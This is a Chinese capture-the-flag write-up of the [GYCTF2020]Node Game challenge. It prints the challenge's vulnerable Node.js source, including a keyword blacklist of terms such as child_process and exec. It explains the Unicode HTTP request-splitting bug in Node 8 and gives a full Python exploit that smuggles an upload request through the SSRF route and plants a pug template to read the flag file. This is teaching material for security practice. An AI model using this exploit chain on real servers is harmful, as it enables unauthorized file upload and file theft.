当前位置:网站首页>[GYCTF2020]Node Game
[GYCTF2020]Node Game
2022-07-25 09:19:00 【怪小生失了神】
开局俩超链接 一个给源码 一个可以上传文件
然后代码审计
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能;个人一般使用formidable实现上传
// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));
// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))
app.get('/', function (req, res) {
// GET方法获取action参数
var action = req.query.action ? req.query.action : "index";
// action中不能包含/ \\
if (action.includes("/") || action.includes("\\")) {
res.send("Errrrr, You have been Blocked");
}
// 将/template/[action].pug渲染成html输出到根目录
file = path.join(__dirname + '/template/' + action + '.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function (req, res) {
var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
var obj = {msg: '',}
// 请求必须来自localhost
if (!ip.includes('127.0.0.1')) {
obj.msg = "only admin's ip can use it"
res.send(JSON.stringify(obj));//JSON.stringify()方法用于将JavaScript值转换为JSON字符
return
}
// node.js读取文件 fs.readFile(),一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){
fs.readFile(req.files[0].path, function (err, data) {
// 判断上传文件合法
if (err) {
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
} else {
// 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
var file_path = '/uploads/' + req.files[0].mimetype + "/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if (!fs.existsSync(__dirname + file_path)) {
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file, data)
obj = {msg: 'upload success', filename: file_path + file_name}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
// 查看题目源码
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
// ssrf核心
app.get('/core', function (req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
// 对url字符进行waf
var trigger = blacklist(url);
if (trigger === true) {
res.send("error occurs!");
} else {
try {
// node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(️此请求发出者为localhost主机),实现对remoteAddress的绕过
http.get(url, function (resp) {
resp.setEncoding('utf8');
resp.on('error', function (err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
}
});
// 返回结果输出到/core
resp.on('data', function (chunk) {
try {
resps = chunk.toString();
res.send(resps);
} catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);
});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
网上查到这题的node.js的版本是8.12.0 就有个漏洞
node.js HTTP拆分攻击
当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击
原理
Unicode原理
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:

然后根据这个写exp Content-Length的值不对也没事 端口也没有检测 直接127.0.0.1
思路:
利用SSRF伪造本地ip进行文件上传, 上传一个pug模板文件到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="tmxsayno.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+9,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
session = requests.Session()
session.trust_env = False
session.get('http://e4179252-5fe1-4da2-85f0-dc1c621efe99.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e4179252-5fe1-4da2-85f0-dc1c621efe99.node4.buuoj.cn:81/?action=tmxsayno')
print(response.text)
参考链接:https://blog.csdn.net/weixin_46081055/article/details/119982707
边栏推荐
猜你喜欢
随机推荐
ActiveMQ -- leveldb of persistence mechanism
Ten thousand words long, one word thoroughly! Finally, someone has made business intelligence (BI) clear
基本的网络知识
MySQL takes the query result as the data updated by update, and concatenates it after the original field data (Lej)
The interviewer asked: how to prevent oversold? There are several ways to achieve it
mysql中的数据结果排名
Query efficiency increased by 10 times! Three optimization schemes to help you solve the deep paging problem of MySQL
C#语言和SQL Server数据库技术
28. Slot
OverTheWire-Bandit
centos更改mysql数据库目录
Composition of the interview must ask items
ActiveMQ -- kahadb of persistent mechanism
OpenCV实现简单的人脸追踪
activemq--可持久化机制之KahaDB
28.插槽
『怎么用』代理模式
[C language] dynamic memory management, flexible array
redis操作利用游标代替keys
Common tool classes under JUC package









